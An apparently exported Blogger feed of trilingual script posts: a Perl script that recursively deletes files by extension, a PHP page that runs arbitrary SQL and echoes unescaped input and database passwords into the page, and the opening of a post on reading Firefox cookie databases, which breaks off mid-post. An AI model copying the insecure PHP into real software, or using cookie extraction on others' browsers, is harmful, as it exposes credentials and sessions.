class="Apple-style-span" style="background-color: rgb(0, 0, 0);"&gt;&lt;b&gt;perl rem.pl /home/me//documents jpg&lt;/b&gt;&lt;/span&gt;&lt;/font&gt;&lt;/font&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: right;"&gt;&lt;span class="Apple-style-span" style="line-height: 24px; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;font class="Apple-style-span" color="#FFFFFF"&gt;&lt;span class="Apple-style-span" style="background-color: rgb(255, 0, 0);"&gt;حذاري: عدم تطبيق هذا السكريبت على مجلد نظام التشغيل&amp;nbsp;&lt;/span&gt;&lt;/font&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="D83873405959457150"&gt;&lt;a onClick='opennew("D83873405959457150")' rel='onw'&gt;Open in a new window&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: php;" &gt;#!/usr/bin/perl &lt;br /&gt;####################################################&lt;br /&gt;# find more scripts on scripts-n-codes.blogspot.com&lt;br /&gt;####################################################&lt;br /&gt;use strict;&lt;br /&gt;use Carp;&lt;br /&gt;use warnings;&lt;br /&gt;my @ext = ("\.".$ARGV[1]);  # tu mets les extensions de fichiers&lt;br /&gt;my $fol = $ARGV[0];  # tu mets ton répertoire&lt;br /&gt; &lt;br /&gt;my @fic = ls_fic($fol);&lt;br /&gt; &lt;br /&gt;foreach my $file (@fic) {&lt;br /&gt;  foreach my $exs (@ext) {&lt;br /&gt;    if($file =~ m{$exs$}i) {&lt;br /&gt;      print "$file deleted\n";&lt;br /&gt;      unlink($file);&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;sub ls_fic {&lt;br /&gt;  my ($fol) = @_;&lt;br /&gt;  my @fic = ();&lt;br /&gt;  opendir (my $rep_fh, $fol) &lt;br /&gt;    or die "impossible d'ouvrir le repertoire $fol\n";&lt;br /&gt;  my @file_rep = grep { !/^\.\.?$/ } readdir($rep_fh);&lt;br /&gt;  closedir ($rep_fh);&lt;br /&gt;  &lt;br /&gt;  foreach my $nom (@file_rep) {&lt;br /&gt;    if ( -f "$fol/$nom") {&lt;br /&gt;      push (@fic, "$fol/$nom");  &lt;br /&gt;    }&lt;br /&gt;    elsif ( -d "$fol/$nom") {&lt;br /&gt;      push (@fic, ls_fic("$fol/$nom"));&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;  return @fic;&lt;br /&gt;}&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5729501043429724554-2986681790783539381?l=scripts-n-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/2986681790783539381/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5729501043429724554&amp;postID=2986681790783539381&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/2986681790783539381'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/2986681790783539381'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/2010/01/perl-script-to-delete-viruses-from.html' title='[PERL] Script to delete viruses from a folder | Script pour supprimer des virus d&apos;un répertoire'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5729501043429724554.post-2439377413620100968</id><published>2010-01-12T12:51:00.000-08:00</published><updated>2010-01-12T13:03:15.922-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='connexion'/><category scheme='http://www.blogger.com/atom/ns#' term='connection'/><category scheme='http://www.blogger.com/atom/ns#' term='manager'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='gestionnaire'/><category scheme='http://www.blogger.com/atom/ns#' term='bdd'/><category scheme='http://www.blogger.com/atom/ns#' term='database'/><category scheme='http://www.blogger.com/atom/ns#' term='db'/><title type='text'>[PHP] Simple database connection manager | Gestionnaire de bases de données simple</title><content type='html'>&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushPhp.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;li&gt;&lt;a href="#A56130154058337210"&gt;&lt;span&gt;Description&amp;nbsp;[FR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#B56130154058337210"&gt;&lt;span&gt;Description&amp;nbsp;[EN]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#C56130154058337210"&gt;&lt;span&gt;الوصف&amp;nbsp;[AR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="#D56130154058337210"&gt;&lt;span&gt;PHP&amp;nbsp;(#1)&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div id="A56130154058337210"&gt;Connexion à une base de données...&lt;span class="fullpost"&gt;&lt;br /&gt;...Sans commentaires.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="B56130154058337210"&gt;Database connection ...&lt;span class="fullpost"&gt;&lt;br /&gt;... No comments.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="C56130154058337210"&gt;&lt;div dir="rtl"&gt;&amp;nbsp;الاتصال بقاعدة البيانات ...&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;div style="text-align: right;"&gt;بدون تعليقات&amp;nbsp;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="D56130154058337210"&gt;&lt;a onClick='opennew("D56130154058337210")' rel='onw'&gt;Open in a new window&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: php;" rel="long"&gt;&amp;lt;?&lt;br /&gt;//##################################################&lt;br /&gt;// find more scripts on scripts-n-codes.blogspot.com&lt;br /&gt;//################## EDIT BELOW ####################&lt;br /&gt;$dho = "CHANGE ME"; //hostname&lt;br /&gt;$dus = "CHANGE ME"; //username&lt;br /&gt;$dpa = "CHANGE ME"; //password&lt;br /&gt;$ddb = "CHANGE ME"; //db user&lt;br /&gt;//##################################################&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;html&gt;&lt;br /&gt;&amp;lt;head&gt;&lt;br /&gt;&amp;lt;title&gt;Codes | Scripts&amp;lt;/title&gt;&lt;br /&gt;&amp;lt;style&gt;&lt;br /&gt;.fonta{font-family: san-serif; font-weight: 600; color: #629669; font-size: 17px;}&lt;br /&gt;.mainstyle{font-family: san-serif; font-weight: 600; color: #ffffff; font-size: 17px; height: 22px;}&lt;br /&gt;.mainstyle:hover{TEXT-DECORATION: none; color: #236623;}&lt;br /&gt;.mainstyle2{ font-family: san-serif; font-weight: 600; color: #7d7d7d; font-size: 17px; height: 22px;}&lt;br /&gt;.mainstyle2:hover{TEXT-DECORATION: none; color: #552255;}&lt;br /&gt;&amp;lt;/style&gt;&lt;br /&gt;&amp;lt;/head&gt;&lt;br /&gt;&amp;lt;body style="border: 5px solid #000000; margin: 0px; font-family: arial, verdana, san-serif; font-size: 14px;"&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;$type=$_POST['type'];&lt;br /&gt;$qtext = $_POST['qtext'];&lt;br /&gt;$qtext = str_replace("\\","",$qtext);&lt;br /&gt;$user = $_POST['user'];&lt;br /&gt;$pass = $_POST['pass'];&lt;br /&gt;$host = $_POST['host'];&lt;br /&gt;$dbn = $_POST['dbname'];&lt;br /&gt;&lt;br /&gt;if($user != "" &amp;&amp; $host != "" &amp;&amp; $dbn != "")&lt;br /&gt;{&lt;br /&gt; $hostname = $host;&lt;br /&gt; $username = $user;&lt;br /&gt; $password = $pass;&lt;br /&gt; $dbname = $dbn;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$db = @mysql_connect($hostname, $username,$password);&lt;br /&gt;if(!$db)&lt;br /&gt; $con = "conf";&lt;br /&gt;else if(!@mysql_select_db($dbname,$db))&lt;br /&gt; $con = "dbnf";&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;table width=100% height=100% bgcolor=#adadad border=0 cellpadding=0 cellspacing=0&lt;br /&gt;style="font-family: arial, verdana, san-serif; font-size: 14px;"&gt;&lt;br /&gt;&amp;lt;tr bgcolor=#989898 height=60&gt;&lt;br /&gt;&amp;lt;td height=60 bgcolor=#000000 style="font-family: san-serif; font-weight: 600; &lt;br /&gt;color: #EEEEEE; font-size: 17px;" align=center&gt;&lt;br /&gt;HIOX DBQ 1.1&amp;lt;br&gt;&lt;br /&gt;&amp;lt;font size=-1&gt;&amp;lt;a style="color: #dddddd;" href="http://www.hscripts.com"&gt;www. h s c r i p t s .com&amp;lt;/a&gt;&amp;lt;/font&gt;&lt;br /&gt;&amp;lt;/td&gt;&lt;br /&gt;&amp;lt;/tr&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;script language=javascript&gt;&lt;br /&gt;function changae()&lt;br /&gt;{&lt;br /&gt; var ss = document.ssd.dd.value;&lt;br /&gt; document.form15.qtext.value = ss;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function confirmDel()&lt;br /&gt;{&lt;br /&gt; document.form15.user.value = document.f14.un.value;&lt;br /&gt; document.form15.pass.value = document.f14.pw.value;&lt;br /&gt; document.form15.host.value = document.f14.hn.value;&lt;br /&gt; document.form15.dbname.value = document.f14.dbn.value;&lt;br /&gt; var sss = document.form15.qtext.value;&lt;br /&gt; if(sss.indexOf("delete") != -1   ||  sss.indexOf("alter") != -1)&lt;br /&gt; {&lt;br /&gt;  var dd = confirm("You are trying to do a delete or modify operation, press ok to continue.");&lt;br /&gt;  if(dd == true)&lt;br /&gt;   return true;&lt;br /&gt;  else&lt;br /&gt;   return false;&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function changedef()&lt;br /&gt;{&lt;br /&gt; document.f14.hn.value = document.f14.hh.value;&lt;br /&gt; document.f14.un.value = document.f14.uu.value;&lt;br /&gt; document.f14.pw.value = document.f14.pp.value;&lt;br /&gt; document.f14.dbn.value = document.f14.dd.value;&lt;br /&gt;}&lt;br /&gt;&amp;lt;/script&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;tr bgcolor=#989878 height=90%&gt;&lt;br /&gt;&amp;lt;td width=100% align=center valign=top&gt;&lt;br /&gt;&amp;lt;br&gt;&lt;br /&gt;&amp;lt;table cellpadding=0 cellspacing=0 align=center style="background-color: #efaaff; &lt;br /&gt;padding: 1px; font-family: arial, verdana, san-serif;" border=1&gt;&lt;br /&gt;&amp;lt;tr align=center&gt;&amp;lt;td&gt;&amp;lt;/td&gt;&amp;lt;td&gt;Host&amp;lt;/td&gt;&amp;lt;td&gt;DB Name&amp;lt;/td&gt;&amp;lt;td&gt;User&amp;lt;/td&gt;&amp;lt;td&gt;Pass&amp;lt;/td&gt;&amp;lt;/tr&gt;&lt;br /&gt;&amp;lt;tr&gt;&amp;lt;td&gt;&amp;lt;form name=f14 onsubmit="return false"&gt;&lt;br /&gt;     &amp;lt;input type=button name=def value=def onclick="changedef()"&gt;&amp;lt;/input&gt;&amp;lt;/td&gt;&lt;br /&gt;&amp;lt;td&gt;&amp;lt;input size=10 type=text name=hn value="&amp;lt;?php echo($hostname); ?&gt;"&gt;&amp;lt;/input&gt;&amp;lt;/td&gt;&lt;br /&gt;&amp;lt;td&gt;&amp;lt;input size=10 type=text name=dbn value="&amp;lt;?php echo($dbname); ?&gt;"&gt;&amp;lt;/input&gt;&amp;lt;/td&gt;&lt;br /&gt;&amp;lt;td&gt;&amp;lt;input size=10 type=text name=un value="&amp;lt;?php echo($username); ?&gt;"&gt;&amp;lt;/input&gt;&amp;lt;/td&gt;&lt;br /&gt;&amp;lt;td&gt;&amp;lt;input size=10 type=text name=pw value="&amp;lt;?php echo($password); ?&gt;"&gt;&amp;lt;/input&gt;&amp;lt;/td&gt;&lt;br /&gt;&amp;lt;input type=hidden name=uu value="&amp;lt;?php echo($dus); ?&gt;"&gt;&amp;lt;/input&gt;&lt;br /&gt;&amp;lt;input type=hidden name=pp value="&amp;lt;?php echo($dpa); ?&gt;"&gt;&amp;lt;/input&gt;&lt;br /&gt;&amp;lt;input type=hidden name=dd value="&amp;lt;?php echo($ddb); ?&gt;"&gt;&amp;lt;/input&gt;&lt;br /&gt;&amp;lt;input type=hidden name=hh value="&amp;lt;?php echo($dho); ?&gt;"&gt;&amp;lt;/input&gt;&amp;lt;/form&gt;&lt;br /&gt;&amp;lt;/tr&gt;&lt;br /&gt;&amp;lt;tr&gt;&amp;lt;td colspan=5&gt;&lt;br /&gt;&amp;lt;form name=ssd&gt;&lt;br /&gt;&amp;lt;select name=dd onchange="changae()" size=2 style="width:410px;"&gt;&lt;br /&gt;&amp;lt;option value="select * from "&gt;select * from &amp;lt;/option&gt;&lt;br /&gt;&amp;lt;option value="select count(*) from "&gt;select count(*) from &amp;lt;/option&gt;&lt;br /&gt;&amp;lt;option value="show tables"&gt;show tables&amp;lt;/option&gt;&lt;br /&gt;&amp;lt;option value="show databases"&gt;show databases&amp;lt;/option&gt;&lt;br /&gt;&amp;lt;option value="insert in to "&gt;insert in to &amp;lt;/option&gt;&lt;br /&gt;&amp;lt;option value="desc"&gt;desc&amp;lt;/option&gt;&lt;br /&gt;&amp;lt;/select&gt;&lt;br /&gt;&amp;lt;/form&gt;&lt;br /&gt;&amp;lt;/td&gt;&amp;lt;/tr&gt;&lt;br /&gt;&amp;lt;/table&gt;&lt;br /&gt;&amp;lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;form name="form15" method="post" action="dbq.php" onsubmit="return confirmDel()"&gt;&lt;br /&gt;&amp;lt;input type="hidden" name="user"  value="&amp;lt;?php echo($username);?&gt;"&gt;&lt;br /&gt;&amp;lt;input type="hidden" name="pass" value="&amp;lt;?php echo($password);?&gt;" &gt;&lt;br /&gt;&amp;lt;input type="hidden" name="host" value="&amp;lt;?php echo($hostname);?&gt;" &gt;&lt;br /&gt;&amp;lt;input type="hidden" name="dbname" value="&amp;lt;?php echo($dbname);?&gt;" &gt;&lt;br /&gt;&amp;lt;input type="hidden" name="type" value="query" &gt;&lt;br /&gt;Query &amp;lt;input type="text" name="qtext" value="&amp;lt;?php echo($qtext);?&gt;" size=60&gt;&lt;br /&gt;&amp;lt;input type="Submit" name="submit" value="Go"&gt;&lt;br /&gt;&amp;lt;/form&gt;&lt;br /&gt;&amp;lt;br&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;if($con == "dbnf")&lt;br /&gt; echo "&amp;lt;font color=red&gt;Wrong database name&amp;lt;br&gt;&amp;lt;/font&gt;";&lt;br /&gt;&lt;br /&gt;if($con == "conf")&lt;br /&gt; echo "&amp;lt;font color=red&gt;Connection Failed&amp;lt;br&gt;&amp;lt;/font&gt;";&lt;br /&gt;else if($type =="query")&lt;br /&gt;{&lt;br /&gt; $qtext2 = str_replace("\\", " ", $qtext);&lt;br /&gt; if($qtext2 == "")&lt;br /&gt; {&lt;br /&gt;  echo "Please enter a proper query";&lt;br /&gt; } &lt;br /&gt; else&lt;br /&gt; {&lt;br /&gt;  if($result = mysql_query("$qtext2",$db))&lt;br /&gt;   echo "Successly Exected - ";&lt;br /&gt;  else&lt;br /&gt;   echo "&amp;lt;font color=red&gt;Not able to execute the query&amp;lt;br&gt;Either the &lt;br /&gt;    table doesnot exist or a wrong query.&amp;lt;/font&gt;&amp;lt;br&gt;&amp;lt;br&gt;";&lt;br /&gt;&lt;br /&gt;  echo("Query is : ");&lt;br /&gt;  echo("&amp;lt;font color=blue&gt;".$qtext2."&amp;lt;/font&gt;");&lt;br /&gt;  echo "&amp;lt;table border=1 cellpadding=0 cellspacing=0 width=80% style=\"font-size: 14px; font-family: arial;\"&gt; &lt;br /&gt;  &amp;lt;tr bgcolor=green align=center style=\"font-weight: bold;\"&gt;\n";&lt;br /&gt;&lt;br /&gt;  $sds = @mysql_num_fields($result);&lt;br /&gt;  for($ss=0; $ss&amp;lt;$sds; $ss++)&lt;br /&gt;  {&lt;br /&gt;   $ee = @mysql_field_name($result,$ss);&lt;br /&gt;   echo "&amp;lt;td bgcolor=green&gt;$ee&amp;lt;/td&gt;";  &lt;br /&gt;  }&lt;br /&gt;     echo "&amp;lt;/tr&gt;\n";&lt;br /&gt;&lt;br /&gt;  $vv = true;&lt;br /&gt;  while ($line = @mysql_fetch_array($result, MYSQL_ASSOC)) {&lt;br /&gt;   if($vv === true){&lt;br /&gt;      echo "&amp;lt;tr align=center bgcolor=#ffeeff&gt;\n";&lt;br /&gt;   $vv = false;&lt;br /&gt;   }&lt;br /&gt;   else{&lt;br /&gt;      echo "&amp;lt;tr align=center bgcolor=#ffccff&gt;\n";&lt;br /&gt;   $vv = true;&lt;br /&gt;   }&lt;br /&gt;     foreach ($line as $col_value) {&lt;br /&gt;         echo "&amp;lt;td&gt;$col_value&amp;lt;/td&gt;\n";&lt;br /&gt;      }&lt;br /&gt;     echo "&amp;lt;/tr&gt;\n";&lt;br /&gt;  }&lt;br /&gt;  echo "&amp;lt;/table&gt;\n";&lt;br /&gt;  /* Free resultset */&lt;br /&gt;  @mysql_free_result($result);&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;?&gt;&lt;br /&gt;&amp;lt;/td&gt;&lt;br /&gt;&amp;lt;/tr&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;tr bgcolor=#989878&gt;&lt;br /&gt;&amp;lt;td  align=center valign=top  bgcolor=#969476&gt;&lt;br /&gt;&amp;lt;br&gt;&lt;br /&gt;&amp;lt;font size=-1&gt;&lt;br /&gt;Ubugnu | &amp;lt;a href='http://scripts-n-codes.blogspot.com'&gt;http://scripts-n-codes.blogspot.com&amp;lt;/a&gt;&lt;br /&gt;&amp;lt;/font&gt;&lt;br /&gt;&amp;lt;/td&gt;&lt;br /&gt;&amp;lt;/tr&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/table&gt;&lt;br /&gt;&amp;lt;/body&gt;&lt;br /&gt;&amp;lt;/html&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5729501043429724554-2439377413620100968?l=scripts-n-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/2439377413620100968/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5729501043429724554&amp;postID=2439377413620100968&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/2439377413620100968'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/2439377413620100968'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/2010/01/php-simple-database-connection-manager.html' title='[PHP] Simple database connection manager | Gestionnaire de bases de données simple'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5729501043429724554.post-6996589357807652367</id><published>2010-01-12T06:48:00.001-08:00</published><updated>2010-01-12T07:02:21.594-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cookies'/><category scheme='http://www.blogger.com/atom/ns#' term='firefox'/><category scheme='http://www.blogger.com/atom/ns#' term='Extract'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='extraire'/><category scheme='http://www.blogger.com/atom/ns#' term='navigateur'/><category scheme='http://www.blogger.com/atom/ns#' term='browser'/><title type='text'>[Python] Extract Firefox cookies | Extraire les cookies de Firefox</title><content type='html'>&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushPython.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;  &lt;li&gt;&lt;a href="#A24691056273877620"&gt;&lt;span&gt;Description&amp;nbsp;[FR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#B24691056273877620"&gt;&lt;span&gt;Description&amp;nbsp;[EN]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#C24691056273877620"&gt;&lt;span&gt;الوصف&amp;nbsp;[AR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#D24691056273877620"&gt;&lt;span&gt;Python&amp;nbsp;(#1)&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div id="A24691056273877620"&gt;Permet de récupérer les cookies d'un site dans Firefox...&lt;span class="fullpost"&gt;&lt;br&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Utilisation:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;- D'abord l'enregistrer sous un fichier appelé par exemple&lt;b&gt; cooky.py&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;- Modifier dans les deux lignes suivantes:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;cookiedb = '{&lt;font class="Apple-style-span" color="#FF0000"&gt;$HOME&lt;/font&gt;}/.mozilla/firefox/&lt;font class="Apple-style-span" color="#FF0000"&gt;vkuuxfit&lt;/font&gt;.default/cookies.sqlite'&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;targetfile = '{&lt;font class="Apple-style-span" color="#FF0000"&gt;$HOME&lt;/font&gt;}/Bureau/cookies.txt'&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;- {&lt;font class="Apple-style-span" color="#FF0000"&gt;$HOME&lt;/font&gt;} par le chemin vers votre dossier personnel : par exemple pour moi /home/ubu&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;- le nom un peu bizzare "&lt;font class="Apple-style-span" color="#FF0000"&gt;vkuuxfit&lt;/font&gt;.default" par celui que vous trouverez dans le repertoire de ff, c-à-d ici : {$HOME}/.mozilla/firefox , normalement il ne devrait y'en avoir qu'un seul, celui finissant par "default" sinon si vous avez crée d'autres profiles, mettre le nom du répertoire du profile par lequel vous vous être connécté au site que vous voulez télécharger (par login et pwd) ... vous devriez facilement reconnaitre le dossier, car son nom finit par ".nom_du_profile".&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Si vous voulez changer le nom du repertoire où sera stocké le fichier &lt;i&gt;cookies.txt&lt;/i&gt; libre à vous.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;- Exécuter le script avec le nom du site en premier argument, par exemple je veux récupérer les cookies du site "siteduzero.com" je tape: &lt;b&gt;&lt;font class="Apple-style-span" face="'Courier New'"&gt;python cooke.py siteduzero.com&lt;/font&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;et j'aurais un fichier cookies.txt comme ceci :&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;font class="Apple-style-span" color="#0000FF"&gt;-----------------------------------------------------&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;font class="Apple-style-span" color="#0000FF"&gt;www.siteduzero.com TRUE / FALSE 1279648744 pseudo ubu&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;font class="Apple-style-span" color="#0000FF"&gt;www.siteduzero.com TRUE / FALSE 1279648744 pass 8da0432739423d4ab36c3108a3abahc0187e7c27&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;font class="Apple-style-span" color="#0000FF"&gt;www.siteduzero.com TRUE / FALSE 1279648744 hash 02af28288e9c0747be5402f48fg17788863bf423&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;font class="Apple-style-span" color="#0000FF"&gt;www.siteduzero.com TRUE / FALSE 1279648744 mid2 11569111567&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;font class="Apple-style-span" color="#0000FF"&gt;-----------------------------------------------------&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Ce qui veut dire que l'on a les 4 variables avec les valeurs:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;i&gt;pseudo=ubu&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;i&gt;pass=8da0432739423d4ab36c3108a3abahc0187e7c27&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;i&gt;hash=02af28288e9c0747be5402f48fg17788863bf423&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;i&gt;mid2=115691115677&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="B24691056273877620"&gt;To retrieve cookies of a site in Firefox ...&lt;span class="fullpost"&gt;&lt;br&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 20px; font-size: small; "&gt;Usage:&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;- First, save it under a file called eg. &lt;b&gt;cooky.py&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;- Modify the following two lines:&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;cookiedb = '&lt;font class="Apple-style-span" color="#FF0000"&gt;$(HOME)&lt;/font&gt;/.mozilla/firefox/&lt;font class="Apple-style-span" color="#FF0000"&gt;vkuuxfit&lt;/font&gt;.default/cookies.sqlite'&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;targetfile = '&lt;font class="Apple-style-span" color="#FF0000"&gt;$(HOME)&lt;/font&gt;/Desktop/cookies.txt'&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;- &lt;font class="Apple-style-span" color="#FF0000"&gt;$(HOME)&lt;/font&gt; with the path to your home directory: for example for me /home/ubu&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;- The name a bit weired "&lt;font class="Apple-style-span" color="#FF0000"&gt;vkuuxfit&lt;/font&gt;.default" by the one you found in the repertoire of ff, ie here: &lt;font class="Apple-style-span" color="#FF0000"&gt;$ (HOME)&lt;/font&gt;/.mozilla/firefox, you should find only one, the one ending with the string "default", if not you probalby created some other profiles, put the name of the directory of the profile which you'll use to be connected to the site. You should easily recognize the file because its name ends with ".name_of_profile.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;If you want to rename the directory where the file will be stored cookies.txt free to you.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;- Now to run the script:&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;- Run the script with the name of the site as a first argument, for example I want to retrieve cookies from the site "siteduzero.com" I type: python cooky.py siteduzero.com&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;and I would have a cookies.txt file like this:&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" 